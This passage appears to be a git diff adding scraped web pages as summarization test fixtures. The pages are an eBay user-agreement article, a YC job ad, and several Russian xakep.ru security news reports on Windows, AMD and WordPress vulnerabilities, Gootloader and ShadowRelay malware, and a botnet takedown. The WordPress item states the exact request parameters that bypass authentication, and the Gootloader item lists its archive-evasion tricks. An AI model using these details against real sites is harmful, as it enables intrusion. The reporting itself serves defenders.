AGAINST THE OTHER ONLY ON AN INDIVIDUAL BASIS AND NOT ON A CLASS, REPRESENTATIVE, OR COLLECTIVE BASIS, AND THE PARTIES HEREBY WAIVE ALL RIGHTS TO HAVE ANY DISPUTE BE BROUGHT, HEARD, ADMINISTERED, RESOLVED, OR ARBITRATED ON A CLASS, COLLECTIVE, OR REPRESENTATIVE BASIS. ONLY INDIVIDUAL RELIEF IS AVAILABLE. Subject to this Agreement to Arbitrate, the arbitrator may award declaratory or injunctive relief only in favor of the individual party seeking relief and only to the extent necessary to provide relief warranted by the party’s individual claim. Nothing in this paragraph is intended to, nor shall it, affect the terms and conditions under Section 19.B.7 ("Batch Arbitration"). New Version: EACH OF US MAY BRING CLAIMS AGAINST THE OTHER ONLY ON AN INDIVIDUAL BASIS AND NOT AS A PLAINTIFF OR CLASS MEMBER IN ANY PURPORTED CLASS, OR REPRESENTATIVE, OR COLLECTIVE BASIS, OR PRIVATE ATTORNEY GENERAL ACTION OR PROCEEDING, NOR OTHERWISE TO SEEK RECOVERY OF LOSSES OR DAMAGES (WHETHER FOR YOURSELF OR OTHERS) INCURRED BY A THIRD PARTY, AND THE PARTIES HEREBY WAIVE ALL RIGHTS TO HAVE ANY DISPUTE BE BROUGHT, HEARD, ADMINISTERED, RESOLVED, OR ARBITRATED ON A CLASS, COLLECTIVE, OR REPRESENTATIVE BASIS. ONLY INDIVIDUAL RELIEF IS AVAILABLE. Subject to this Agreement to Arbitrate, the arbitrator may award declaratory or injunctive relief only in favor of the individual party seeking relief and only to the extent necessary to provide relief warranted by the party’s individual claim. Nothing in this paragraph is intended to, nor shall it, affect the terms and conditions under Section 19.B.7 ("Batch Arbitration"). Here's what that means in plain language: “Not as a plaintiff or class member” — prevents someone from joining an existing class action. “No private attorney general actions” — blocks lawsuits brought “on behalf of the public,” a type of claim sometimes used in consumer protection cases. “Nor… for losses incurred by a third party” — prevents a person from trying to recover damages suffered by someone else. Note: this language does not in any way change or restrict legal action that state Attorneys General, the FTC or other regulatory or legal agencies can take on behalf of sellers and/or consumers - so don't be dissuaded from letting those agencies know about your experiences with the platform, like the recent changes to Promoted Listings ad attribution policies. A Seller’s Guide To Speaking Up: How To Report eBay’s New Ad Policies To The FTC & State AGs Concerned about eBay’s controversial new Promoted Listings ad rules? Here’s how to file effective, proactive reports with FTC & AGs to make your voice heard! Value Added ResourceLiz Morton And finally, this User Agreement update has been changed to clarify that only new users may request to opt out of arbitration agreement - existing users missed their opportunity if they did not opt out before May 16, 2025. Opt-Out Procedure IF YOU ARE A NEW USER OF OUR SERVICES, YOU CAN CHOOSE TO OPT OUT OF THIS AGREEMENT TO ARBITRATE ("OPT OUT") BY MAILING US A WRITTEN OPT-OUT NOTICE ("OPT-OUT NOTICE"). And that's it for changes to eBay's User Agreement going into effect February 20, 2026. Let us know in the comments below what you think of these change and how they'll affect your business! eBayAISeller Updates Liz Morton Twitter Facebook LinkedIn Liz Morton is a 17 year ecommerce pro turned indie investigative journalist providing ad-free deep dives on eBay, Amazon, Etsy & more, championing sellers & advocating for corporate accountability. You might also like eBay Tightens Affiliate Rules, Cracking Down On AI Use, NDAs & Influencer Disclosures Paid Members Public eBay updates Partner Network terms, adding new restrictions on AI use, confidentiality agreements, and disclosure requirements for affiliates. Published:Jan 22 26 Updated:Jan 22 26 eBay Poshmark Responds To Seller Backlash With New Updates, Pledges Greater Transparency In 2026 Paid Members Public Poshmark responds to seller backlash with new platform updates and a pledge for greater transparency under new leadership in 2026. Published:Jan 18 26 Updated:Jan 19 26 Poshmark Value Added Resource Newsletter Join the newsletter to receive the latest updates in your inbox. Subscribe Twitter Facebook LinkedIn RSS Recent Comments JUNEYesterday HI YES I HAVE A PROBLEM.I BOUGHT AN I PHONE FOR HUSBAND'S CHRISTMAS PRESENT .IT WAS FAULTY SO I ASKED TO SEND IT BACK.EBAY ISSUED A Q CODE.MY HUSBAND SENT IT OFF WITH ROYAL MAIL. I LOOKED ON MY EBAY PAGE AND IT SAID CASE CLOSED .I FOUND OUT THAT THE QR CODE SENT THE PHONE TO A PRIVATE ADDRESS IN WALES. EBAY DENY SENDING ME A Q CODE .I HAVE POSTE RECEIPT AND ADDRESS OF THE PERSON IT WENT .BUT BECAUSE IT WAS OUT OF THE 30 DAYS THAT EBAY STIPULATE THEY WILL NOT REFUNF MONEY .SO I LOST MONEY AND HAVE NO PHONE. I SAVED HARD FOR THIS PHONE BUT AM GUTTED I CANNOT DO ANYTHING J,PARSONS eBay QR Codes Fail As Sellers Experience Shipping Glitches For The Second Day In A Row Banned in ChatYesterday I have my calendar set for Feb. 16th, this should help with sales. I have over 100 items currently listed on Mercari and all of them would qualify. Mercari Announces Limited-Time Discounted Shipping Rates On Select Prepaid Labels Skankhoe693 days ago Yes, probably. I had Sendle pick a package up on the 23/12, on the 24/12 they handed it to a third party for delivery. It hasn't been delivered. The scum knew they were closing down in mid December, and still took people's money for deliveries 😡 Sendle’s Sudden Shutdown Leaves Australian eBay Sellers in Limbo Featured Posts A Seller’s Guide To Speaking Up: How To Report eBay’s New Ad Policies To The FTC & State AGs 21 Nov 2025 eBay Exposed: A Social Experiment In Free Speech & Corporate Accountability 16 May 2025 From CIA To Silicon Valley: Intelligence Roots Of eBay Cyberstalking Scandal 6 Apr 2025 eBay Governance Crisis: Cyberstalking Case Ethics, Compliance & Disclosure Failures Call For Shareholder Scrutiny 16 Mar 2025 eBay Gears Up for Crisis? New Job Posting Signals Potential Trouble Ahead 10 Feb 2025 eBay Wins Dismissal Of EPA Suit; Court Affirms Section 230 Protections For Items Sold On The Site 30 Sep 2024 Amazon Sellers Hit Walmart With Class Action Lawsuit Alleging Complicity In Online Organized Retail Crime 27 Sep 2024 eBay Demands Identities Of EcommerceBytes Sources In $100M+ Cyberstalking Suit 25 Sep 2024 eBay's Tech Image Overhaul: Is Media Manipulation Covering Up Executive Leadership Failures? 3 Jul 2024 eBay Quietly Grows China Sales As CEO Downplays Temu Competition 12 Jun 2024 Mercari US Undertakes Mass Layoff Months After Major Fee Structure Shakeup 12 Jun 2024 FTC Urged To Investigate eBay TCGPlayer Deceptive & Anti-Competitive Conduct In ROCC Petition 23 May 2024 eBay Sets Up Shop Using TCGPlayer To Hide Conflict Of Interest While Competing With Sellers On The Platform 8 Apr 2024 Etsy Quietly Adds China To Etsy Payment Eligibility List Via Payoneer Partnership 18 Mar 2024 Value Added Resource Ecommerce Marketplace News, Analysis & Expert Commentary Navigation Contact Data & privacy Cookie Policy Disclaimer Newsletter Subscribe © 2026 Value Added Resource - +============== diff --git a/tests/summarization/https___www.ycombinator.com_companies_flowtel_jobs_LaddaEz-founding-engineer-staff-senior.txt b/tests/summarization/https___www.ycombinator.com_companies_flowtel_jobs_LaddaEz-founding-engineer-staff-senior.txt new file mode 100644 index 0000000..5d9d356 --- /dev/null +++ b/tests/summarization/https___www.ycombinator.com_companies_flowtel_jobs_LaddaEz-founding-engineer-staff-senior.txt @@ -0,0 +1,2 @@ +About What Happens at YC?ApplyYC Interview GuideFAQPeopleYC Blog Companies Startup DirectoryFounder DirectoryLaunch YC Startup Jobs All Jobs◦ Engineering◦ Operations◦ Marketing◦ SalesInternshipsStartup Job GuideYC Startup Jobs Blog Find a Co-Founder Library SAFE Resources Startup SchoolNewsletterRequests for StartupsFor InvestorsVerify FoundersHacker NewsBookface Open main menu Apply for X2026 batch.Apply Flowtel The AI Voice agents for hotels Founding Engineer - Staff/Senior $120K - $250K•San Francisco, CA, US Job type Full-time Role Engineering, Backend Experience 6+ years Visa US citizen/visa only Connect directly with founders of the best YC-funded startups. Apply to role › Eylon Miz Co-Founder & CEO Eylon Miz Co-Founder & CEO About the role Flowtel is building the next generation operating system for hospitality, powered by modern AI agents that can handle everything from booking to room service. We just launched, secured $3 million in seed funding, and are backed by Y Combinator. Flowtel is an AI first company. Every part of the business uses AI thoughtfully. Product, sales, marketing, operations, support, and of course engineering all run with AI at the core. We keep the team small and talented so that everyone is an engineer at heart, hands on with code, systems, and product decisions. Must: High Agency, Extreme AI coding experience, Loves agents more than humans Senior Engineer: $120K - $180K + ~0.5% equity Ex-founder-Level: $150K - $250K + 1% – 3% equity About Flowtel Flowtel is building the next generation operating system for hospitality, powered by modern AI agents that can handle everything from booking to room service. Flowtel Founded:2024 Batch:W25 Team Size:5 Status: Active Location:San Francisco Founders Eylon Miz Co-Founder & CEO Eylon Miz Co-Founder & CEO Similar Jobs FamPay [India] FamPay- Site Reliability Engineer Variant Founding Backend Engineer (Staff) Hestus, Inc. Software Developer Firecrawl Browser Engineer Metriport Forward Deployed Engineer Bolster Back End Developer Aurelian Backend Software Engineer CambioML Founding Backend Engineer ControlHub Backend Engineer - LATAM Svix Rust Backend Engineer Crustdata Senior Data Platform Engineer Artie Founding Engineer (Distributed Systems) OWNY Senior Engineer / Engineering manager Shadeform Founding (Senior) Software Engineer Pally Founding Engineer (Backend) authzed Sr. Software Engineer - Distributed Databases Guardian RF Backend Software Engineer nsave Backend Engineer AiPrise Staff Software Engineer (Full-Stack) at AiPrise Fathom Senior Site Reliability Engineer (Remote) Footer Y Combinator Programs YC Program Startup School Work at a Startup Co-Founder Matching Company YC Blog Contact Press People Careers Privacy Policy Notice at Collection Security Terms of Use Resources Startup Directory Startup Library Investors SAFE Hacker News Launch YC YC Deals Make something people want. Apply Twitter TwitterFacebook FacebookInstagram InstagramLinkedIn LinkedInYoutube YouTube © 2026 Y Combinator +============== diff --git a/tests/summarization/https___xakep.ru_2026_01_19_0days-win_.txt b/tests/summarization/https___xakep.ru_2026_01_19_0days-win_.txt new file mode 100644 index 0000000..eb75684 --- /dev/null +++ b/tests/summarization/https___xakep.ru_2026_01_19_0days-win_.txt @@ -0,0 +1,2 @@ +Рекомендуем почитать: Хакер #319. Атаки на банкоматы Содержание выпуска Подписка на «Хакер»-60% В рамках январского «вторника обновлений» компания Microsoft исправила две уязвимости в драйвере ntfs.sys, который управляет файловой системой NTFS в Windows. Эти проблемы нашел специалист Positive Technologies Сергей Тарасов. Обе уязвимости давали злоумышленникам шанс захватить полный контроль над системой через эскалацию привилегий до уровня SYSTEM. Патчи вышли для 37 версий Windows — от 10 и 11 до серверных сборок 2019, 2022 и 2025 года. Первая уязвимость получила идентификатор CVE-2026-20840 и оценку 7,8 балла по шкале CVSS. Проблема относится к heap-based buffer overflow (переполнение буфера хипа) — класс багов, позволяющих записывать данные за пределы выделенной памяти. В данном случае ошибка была связана с недостаточно безопасной обработкой виртуальных жестких дисков. Для атаки злоумышленнику требовался предварительный доступ к системе, например, через уже установленную малварь. После этого можно подготовить VHD-файл, заставить Windows его обработать и записать произвольные данные в защищенные области памяти. «До устранения уязвимости открывали путь к эскалации привилегий до высшего уровня доступа в операционной системе. Получив системные права, злоумышленник был бы способен полностью контролировать захваченный компьютер: скрытно устанавливать вредоносные программы, похищать любые данные или, если бы устройство было корпоративным, использовать его как плацдарм для развития атак в локальной сети», — объясняет Тарасов. Вторая проблема получила идентификатор CVE-2026-20922 и оценивается в 7,8 балла по шкале CVSS. Ошибка связана с отсутствием в коде драйвера проверок на корректность таблиц в разделе. Эксплуатация давала те же возможности: эскалация привилегий до уровня SYSTEM и полный контроль над компьютером. Эксперт предупреждает, что подобные баги могут стать отправной точкой для многоступенчатых атак на организации. Тарасов подчеркнул, что оба бага требовали локального доступа к системе для эксплуатации. То есть атакующий должен был уже иметь какую-то точку входа (например, через фишинг или скомпрометированные учетные данные). Если возможности установить патчи пока нет, в компании советуют с осторожностью работать с виртуальными жесткими дисками и не открывать VHD-файлы из непроверенных источников. Теги:MicrosoftWindowsНовостиПатчиУязвимостиуязвимости нулевого дняФайловая система Подпишись на наc в Telegram! Только важные новости и лучшие статьи Подписаться Открыть комментарии Подписаться авторизуйтесь Уведомить о новых последующих комментариях новых ответах на мои комментарии Пожалуйста, войдите, чтобы прокомментировать 0 комментариев Старые Новые Популярные Межтекстовые Отзывы Посмотреть все комментарии Загрузить ещё комментарии +============== diff --git a/tests/summarization/https___xakep.ru_2026_01_19_gootloader-zip_.txt b/tests/summarization/https___xakep.ru_2026_01_19_gootloader-zip_.txt new file mode 100644 index 0000000..f0c7c44 --- /dev/null +++ b/tests/summarization/https___xakep.ru_2026_01_19_gootloader-zip_.txt @@ -0,0 +1,2 @@ +Рекомендуем почитать: Хакер #319. Атаки на банкоматы Содержание выпуска Подписка на «Хакер»-60% Операторы вредоноса Gootloader усложнили его обнаружение: теперь малварь прячется в поврежденном ZIP-архиве, «склеенном» из тысячи других архивов. Использование такой тактики вызывает сбои в большинстве аналитических инструментов при попытке распаковки. Как выяснили исследователи из компании Expel, вредоносный файл представляет собой архивированный JScript, упакованный в специально испорченный ZIP. Штатный архиватор Windows распаковывает его без проблем, а вот инструменты на базе 7-Zip и WinRAR не справляются с задачей. Злоумышленники добились такого эффекта, «склеивая» от 500 до 1000 ZIP-архивов, а также используя ряд других трюков, чтобы усложнить парсинг и анализ. Gootloader — загрузчик, который активен с 2020 года и используется разными хак-группами, включая операторов шифровальщиков. В ноябре 2025 года после малварь возобновила активность после семимесячного перерыва, о чем предупреждали специалисты Huntress Labs и DFIR Report. Уже тогда в образцах были замечены «битые» ZIP-архивы, но модификации были минимальными, а при распаковке возникали несоответствия имен файлов. По данным специалистов Expel, более свежие образцы Gootloader используют целый арсенал техник уклонения от обнаружения: объединение до 1000 архивов ZIP — парсеры читают файл с конца, и эта особенность позволяет обмануть часть инструментов; усеченная структура End of Central Directory (EOCD), в которой не хватает двух обязательных байтов, из-за чего большинство инструментов не могут распарсить архив и завершают работу со сбоем; рандомизация полей с номерами дисков приводит к поиску несуществующих многотомных архивов; намеренные несоответствия между метаданными в Local File Header и Central Directory; генерацию уникальных ZIP и JScript для каждой загрузки, чтобы избежать сигнатурного обнаружения; доставку ZIP в виде XOR-закодированного блоба, который декодируется на стороне клиента и многократно дописывается, пока не достигнет нужного размера. После запуска на хосте JScript активируется через Windows Script Host (WScript) из временной директории и прописывается в автозагрузку: в папке Startup появляются LNK-файлы, указывающие на второй JScript. Пейлоад срабатывает при первом запуске и при каждой перезагрузке, сначала запуская CScript с NTFS-именами, а потом PowerShell порождает PowerShell. Специалисты Expel использовали те же структурные аномалии для обнаружения малвари и опубликовали YARA-правило, которое стабильно обнаруживает ZIP-архивы вредоноса. Сигнатура ищет специфическую комбинацию заголовков ZIP, сотни повторяющихся Local File Header и записей EOCD. Также исследователи рекомендуют защитникам сменить приложение по умолчанию для открытия JScript-файлов с Windows Script Host на «Блокнот» — так скрипты не будут выполняться автоматически. Если JScript не нужен в инфраструктуре, специалисты советуют вообще заблокировать запуск wscript.exe и cscript.exe для загруженного контента. Теги:GootloaderMalwarezipАрхивВзломКибератакиНовости Подпишись на наc в Telegram! Только важные новости и лучшие статьи Подписаться Открыть комментарии Подписаться авторизуйтесь Уведомить о новых последующих комментариях новых ответах на мои комментарии Пожалуйста, войдите, чтобы прокомментировать 0 комментариев Старые Новые Популярные Межтекстовые Отзывы Посмотреть все комментарии Загрузить ещё комментарии +============== diff --git a/tests/summarization/https___xakep.ru_2026_01_20_modular-ds_.txt b/tests/summarization/https___xakep.ru_2026_01_20_modular-ds_.txt new file mode 100644 index 0000000..f24e598 --- /dev/null +++ b/tests/summarization/https___xakep.ru_2026_01_20_modular-ds_.txt @@ -0,0 +1,2 @@ +Рекомендуем почитать: Хакер #319. Атаки на банкоматы Содержание выпуска Подписка на «Хакер»-60% В популярном плагине для WordPress под названием Modular DS обнаружили критическую уязвимость, которую уже используют злоумышленники. Баг позволяет повысить привилегии без какой-либо аутентификации и затрагивает все версии плагина до 2.5.1 включительно. Согласно статистике разработчиков, плагин установлен более чем на 40 000 сайтов. Уязвимость получила идентификатор CVE-2026-23550 и набрала 10 баллов из 10 возможных по шкале CVSS. Как объясняют специалисты Patchstack, корень проблемы заключается в механизме маршрутизации плагина. В теории чувствительные маршруты должны быть защищены аутентификацией, и плагин открывает свои маршруты через префикс /api/modular-connector/. Но исследователи выяснили, что защиту можно обойти, если включен режим «прямого запроса». Достаточно добавить в запрос параметр origin со значением mo и любой параметр type (например, origin=mo&type=xxx). После чего запрос воспринимается как прямой запрос от Modular. Эксперты пишут: «Как только сайт подключен к Modular (токены присутствуют или могут быть обновлены), любой может обойти проверку аутентификации. Криптографической связи между входящим запросом и самим Modular нет». Уязвимость открывает доступ к нескольким маршрутам: /login/, /server-information/, /manager/ и /backup/. Через них атакующие могут удаленно войти в систему и получить конфиденциальные данные о системе или пользователях. Самое опасное — маршрут /login/{modular_request}, так как этим способом неаутентифицированный злоумышленник получает права администратора. Это открывает путь к полной компрометации сайта: можно внедрить вредоносный код, разместить на ресурсе малварь или перенаправить посетителей на фишинговые страницы. По данным специалистов, первые атаки на этот баг были зафиксированы 13 января 2026 года. Злоумышленники отправляли HTTP GET-запросы на эндпоинт /api/modular-connector/login/, а затем пытались создать учетную запись администратора. Атаки исходили с двух IP-адресов: 45.11.89[.]19 и 185.196.0[.]11. Затем исследователи обнаружили, что злоумышленники создают на взломанных сайтах нового пользователя-администратора, как правило, с именем пользователя backup и адресами электронной почты backup@wordpress.com и backup1@wordpress.com. Patchstack настоятельно рекомендует всем пользователям плагина обновиться до исправленной версии как можно скорее. Патч вошел в состав Modular DS версии 2.5.2. Разработчики плагина также советуют проверить сайты на признаки компрометации: появление новых административных аккаунтов, наличие подозрительных запросов от автоматических сканеров. «Уязвимость находилась в кастомном слое маршрутизации, расширяющем функциональность Laravel, — пояснили разработчики плагина. — Логика сопоставления маршрутов была слишком мягкой и позволяла специально подготовленным запросам достучаться до защищенных эндпоинтов, минуя проверку аутентификации». Теги:CMSModular DSWordPressВзломКибератакиНовостиПатчиплагиныУязвимости Подпишись на наc в Telegram! Только важные новости и лучшие статьи Подписаться Открыть комментарии Подписаться авторизуйтесь Уведомить о новых последующих комментариях новых ответах на мои комментарии Пожалуйста, войдите, чтобы прокомментировать 0 комментариев Старые Новые Популярные Межтекстовые Отзывы Посмотреть все комментарии Загрузить ещё комментарии +============== diff --git a/tests/summarization/https___xakep.ru_2026_01_20_stackwarp_.txt b/tests/summarization/https___xakep.ru_2026_01_20_stackwarp_.txt new file mode 100644 index 0000000..ac3a47b --- /dev/null +++ b/tests/summarization/https___xakep.ru_2026_01_20_stackwarp_.txt @@ -0,0 +1,2 @@ +Рекомендуем почитать: Хакер #319. Атаки на банкоматы Содержание выпуска Подписка на «Хакер»-60% Эксперты Центра информационной безопасности им. Гельмгольца (CISPA) обнаружили аппаратную уязвимость в процессорах AMD, получившую кодовое название StackWarp. Проблема затрагивает чипы от Zen 1 до Zen 5 и позволяет взломать конфиденциальные виртуальные машины, обходя защиту AMD SEV-SNP. Уязвимость получила идентификатор CVE-2025-29943. Инженеры AMD описывают проблему как «некорректный контроль доступа», который позволяет атакующему с высокими правами изменить конфигурацию процессорного пайплайна и повредить данные указателя стека внутри гостевой виртуальной машины. «В контексте SEV-SNP эта проблема позволяет вредоносному хосту манипулировать указателем стека гостевой виртуальной машины. Это дает возможность перехватить контроль над потоком выполнения и данными, открывая путь к удаленному выполнению кода и повышению привилегий внутри конфиденциальной виртуальной машины», — объясняют специалисты Руйи Чжан (Ruiyi Zhang), Тристан Хорнетц (Tristan Hornetz), Даниэль Вебер (Daniel Weber), Фабиан Томас (Fabian Thomas) и Михаэль Шварц (Michael Schwarz). Исследователи поясняют, что уязвимость эксплуатируется через манипуляцию с ранее недокументированным битом в регистре MSR процессора. Атакующий, запустивший код на соседнем логическом ядре (при включенном SMT/Hyperthreading), может переключать этот бит и таким образом манипулировать указателем стека внутри защищенной виртуальной машины. Атака открывает возможность для перенаправления потока выполнения программы или манипуляции с конфиденциальными данными. Так, с помощью StackWarp можно извлечь секреты из защищенных SEV окружений и скомпрометировать виртуальные машины в облачных средах на базе AMD. Исследователи продемонстрировали возможности атаки в нескольких практических сценариях. С помощью StackWarp им удалось восстановить приватный ключ RSA-2048 из единственной ошибочной цифровой подписи, обойти парольную аутентификацию OpenSSH и запрос пароля sudo, а также добиться выполнения кода в режиме ядра внутри виртуальной машины. StackWarp затрагивает следующие линейки процессоров: AMD EPYC серии 7003; AMD EPYC серии 8004; AMD EPYC серии 9004; AMD EPYC серии 9005; AMD EPYC Embedded серий 7003, 8004, 9004 и 9005. Подчеркивается, что для успешной эксплуатации CVE-2025-29943 потребуется привилегированный контроль над хост-сервером, где работают конфиденциальные виртуальные машины. То есть атаку могут провести, к примеру, недобросовестные сотрудники облачного провайдера, или продвинутая хакерская группировка, получившая доступ к инфраструктуре компании. Эксперты предупреждают: «Результаты исследования демонстрируют, что целостность выполнения конфиденциальных виртуальных машин (именно та защита, которую призван обеспечить SEV-SNP) может быть эффективно скомпрометирована. Конфиденциальные ключи и пароли могут быть украдены, и атакующие могут выдавать себя за легитимных пользователей или получить постоянный контроль над системой, а изоляция между гостевыми виртуальными машинами и хостом или другими виртуальными машинами более не может быть гарантирована». Разработчики AMD присвоили проблеме низкий уровень опасности и сообщили, что патчи для затронутых серверных процессоров EPYC доступны с июля 2025 года. Исправления AGESA для EPYC Embedded 8004 и 9004 Series запланированы на апрель 2026 года. Подробности об атаке опубликованы на специальном сайте, посвященном StackWarp. Там же доступна техническая статья с детальным описанием проблемы и видео, демонстрирующие атаку в действии. Теги:AMDSEV-SNPStackWarpВзломЖелезоНовостиПроцессорыУязвимости Подпишись на наc в Telegram! Только важные новости и лучшие статьи Подписаться Открыть комментарии Подписаться авторизуйтесь Уведомить о новых последующих комментариях новых ответах на мои комментарии Пожалуйста, войдите, чтобы прокомментировать 0 комментариев Старые Новые Популярные Межтекстовые Отзывы Посмотреть все комментарии Загрузить ещё комментарии +============== diff --git a/tests/summarization/https___xakep.ru_2026_01_21_aisuru-kimwolf_.txt b/tests/summarization/https___xakep.ru_2026_01_21_aisuru-kimwolf_.txt new file mode 100644 index 0000000..7e5aec2 --- /dev/null +++ b/tests/summarization/https___xakep.ru_2026_01_21_aisuru-kimwolf_.txt @@ -0,0 +1,2 @@ +Содержание статьи Прокси как вектор атаки Расследование Монетизация Null route В начале 2026 года исследователи Black Lotus Labs сообщили о результатах многомесячной операции против ботнетов Aisuru и Kimwolf — одной из самых масштабных и необычных вредоносных инфраструктур последних лет. Специалистам удалось вывести из строя более 550 управляющих серверов и существенно ограничить работу сети из нескольких миллионов зараженных Android-устройств по всему миру. В этой статье разберем, как шла борьба. Aisuru и связанный с ним Android-ботнет Kimwolf способны превращать зараженные устройства в узлы для проведения DDoS-атак и резидентные прокси. Детали работы этой схемы начали проясняться, когда в конце прошлого года эксперты китайской компании QiAnXin XLab опубликовали детальный анализ малвари Kimwolf, которая в основном заражает Android-приставки и стриминговые устройства. Вредонос доставляет на устройства SDK ByteConnect — либо напрямую, либо через предустановленные сомнительные приложения. При этом во многих случаях гаджеты скомпрометированы с помощью прокси-SDK еще до момента покупки. В отчете отмечалось, что Kimwolf может быть связан с ботнетом Aisuru, который попал в заголовки СМИ благодаря рекордным DDoS-атакам в конце прошлого года. Аналитики писали, что оба вредоноса явно созданы одной хакерской группировкой. Дело в том, что с сентября по ноябрь 2025 года оба ботнета распространялись через одинаковые скрипты заражения и сосуществовали на одних устройствах. Кроме того, APK-файлы вредоносов, найденные в VirusTotal, были подписаны одними сертификатами (включая John Dinglebert Dinglenut VIII VanSack Smith), а 8 декабря эксперты обнаружили активный сервер‑загрузчик (93.95.112(.)59), который раздавал полезные нагрузки обоих ботнетов сразу. Тогда была выдвинута теория, что операторы Kimwolf на ранних этапах использовали код Aisuru, взяв его за основу, а затем развили новый ботнет как отдельный проект, чтобы эффективнее уклоняться от обнаружения. Также сообщалось, что некоторые атаки, ранее приписываемые Aisuru, на самом деле могли исходить от Kimwolf и группировки работали совместно. Прокси как вектор атаки Схема распространения Kimwolf оказалась изощренной и необычной. Как недавно рассказали эксперты из компании Synthient, в ней задействованы легальные резидентные прокси‑сервисы. Продолжение доступно только участникам Материалы из последних выпусков становятся доступны по отдельности только через два месяца после публикации. Чтобы продолжить чтение, необходимо стать участником сообщества «Xakep.ru». Присоединяйся к сообществу «Xakep.ru»! Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее -60% 1 год 9990 рублей 4500 р. 1 месяц 950 р. Я уже участник «Xakep.ru» Мария Нефёдова Блондинка, гик, книжный червь, синефил. Редактор ленты новостей; иногда автор Сцены. Теги:AisuruAndroidKimwolfВыбор редактораСтатьи Check Also Google усложнит процесс установки приложений из сторонних источников Разработчики Google решили усложнить процесс установки приложений из сторонних источников … ← Ранее Недавно обнаруженную малварь VoidLink создали с помощью ИИ Далее → TP-Link патчит уязвимость в десятках моделей камер видеонаблюдения Подпишись на наc в Telegram! Только важные новости и лучшие статьи Подписаться Открыть комментарии Подписаться авторизуйтесь Уведомить о новых последующих комментариях новых ответах на мои комментарии Пожалуйста, войдите, чтобы прокомментировать 0 комментариев Старые Новые Популярные Межтекстовые Отзывы Посмотреть все комментарии Загрузить ещё комментарии +============== diff --git a/tests/summarization/https___xakep.ru_2026_01_21_almaty-meetup-jan_.txt b/tests/summarization/https___xakep.ru_2026_01_21_almaty-meetup-jan_.txt new file mode 100644 index 0000000..48efe4b --- /dev/null +++ b/tests/summarization/https___xakep.ru_2026_01_21_almaty-meetup-jan_.txt @@ -0,0 +1,2 @@ +Рекомендуем почитать: Хакер #319. Атаки на банкоматы Содержание выпуска Подписка на «Хакер»-60% 29 января 2026 года в 19:00 состоится встреча читателей «Хакера» в Алматы, приуроченная к разблокировке Xakep.ru на территории Казахстана. На офлайн встрече выступит главный редактор «Хакера», а также двое спикеров из хакерспейса Black Ice. Андрей Письменный, главный редактор «Хакера», откроет митап и расскажет о своем опыте работы в «Хакере», истории журнала, развитии сайта и возвращении в бумажный формат. Подробно будет рассмотрен вопрос авторства: как выбрать тему статьи, подготовить материал и опубликоваться в «Хакере». После выступления — расширенная сессия вопросов и ответов, в которой смогут поучаствовать все желающие. За помощь в организации благодарим хакерспейс Black Ice и приглашаем хакеров из Алматы присоединяться к числу его резидентов. Двое из них выступят на митапе и представят свои доклады. Аналитический доклад по современным киберугрозам Практикующий специалист в области OSINT и Cyber Threat Intelligence расскажет о том, как в 2025 году используются кроссчейн-мосты в финансовых преступлениях и почему именно они часто становятся слабым местом злоумышленников. В фокусе — реальные кейсы, типовые ошибки атакующих и популярные маршруты вроде Tron → BTTC → Polygon → CEX. Лекция о профессиональном развитии Выступление, посвященное синдрому самозванца в технических и научных профессиях: от причин его появления до практических способов справляться с ним и не выгорать в профессии. Формат встречи — очный, с обсуждениями и вопросами из зала. Общая продолжительность — до трех часов. Будем рады видеть всех, кому интересны информационная безопасность, технологии и внутренняя кухня «Хакера». 📅 29 января 🕒 Начало в 19:00 📍 Алматы, Байтурсынова 126/1, Energo University (вход с территории университета, актовый зал) Теги:АнонсНовостиНовостьХакер Подпишись на наc в Telegram! Только важные новости и лучшие статьи Подписаться Открыть комментарии Подписаться авторизуйтесь Уведомить о новых последующих комментариях новых ответах на мои комментарии Пожалуйста, войдите, чтобы прокомментировать 0 комментариев Старые Новые Популярные Межтекстовые Отзывы Посмотреть все комментарии Загрузить ещё комментарии +============== diff --git a/tests/summarization/https___xakep.ru_2026_01_21_shadowrelay_.txt b/tests/summarization/https___xakep.ru_2026_01_21_shadowrelay_.txt new file mode 100644 index 0000000..be543fa --- /dev/null +++ b/tests/summarization/https___xakep.ru_2026_01_21_shadowrelay_.txt @@ -0,0 +1,2 @@ +Рекомендуем почитать: Хакер #319. Атаки на банкоматы Содержание выпуска Подписка на «Хакер»-60% Специалисты команды Solar 4RAYS ГК «Солар» обнаружили новый модульный бэкдор ShadowRelay. Он позволяет загружать шпионские инструменты, коммуницировать с другими своими копиями, а также получать доступ к данным в изолированных от интернета сегментах сети жертвы и самоликвидироваться в случае опасности. Сообщается, что вредонос уже проник в одну из организаций госсектора. Исследователи пишут, что еще в 2025 году они подключились к расследованию ИБ-инцидента в одной из госструктур, которая с высокой вероятностью была скомпрометирована азиатской группировкой Erudite Mogwai (она же Space Pirates). В результате анализа было обнаружено несколько зараженных систем, в которых среди прочего была найдена малварь Shadowpad Light (она же Deed RAT), а источником их заражения оказался почтовый сервер Exchange, который был скомпрометирован еще летом 2024 года с помощью эксплуатации цепочки уязвимостей ProxyShell (CVE-2021-34473, CVE-2021-34523, CVE-2021-31207). Уязвимый почтовый сервер установили еще летом 2024 года, и уже спустя несколько недель он был обнаружен сразу множеством хакерских группировок. В итоге во время исследования системы были обнаружены различные вредоносы: оригинальный ShadowPad (азиатские хак-группы); Shadowpad Light (Erudite Mogwai); Donnect (Obstinate Mogwai); Mythic Agent (GOFFEE). Помимо уже известных инструментов атакующих, при исследовании системы был найден новый образец модульной малвари, который разместили в системе в период предполагаемой активности группы Obstinate Mogwai. Эта малварь позволяет атакующим скрытно подгружать плагины, которые реализуют необходимую в конкретной атаке функциональность. Также бэкдор может поддерживать связь с другими имплантами, которые, например, не имеют подключения к интернету. Сам бэкдор не содержит полезной нагрузки для шпионажа или удаленного управления, однако позволяет ее загрузить. Отмечается, что экспертам не удалось найти плагины для этой малвари, поэтому сценарий атакующих и их цели пока не ясны до конца. При успешном заражении бэкдор использует несколько функций сокрытия себя в системе компании (например, инъекцию самого себя в другие процессы и переиспользование портов). Кроме того, бэкдор пытается обнаружить дебаггеры, песочницы и имеет простейшие проверки обратной разработки. Вредоносная нагрузка запускается только в том случае, если в параметрах передается специальное значение из конфига. В случае провала проверок запускается функция самоликвидации малвари. Одной из наиболее интересных особенностей ShadowRelay является способность собирать данные с хостов в инфраструктуре жертвы, которые не подключены к интернету (как правило, именно на них располагаются критически важные системы или данные компании). Для этого 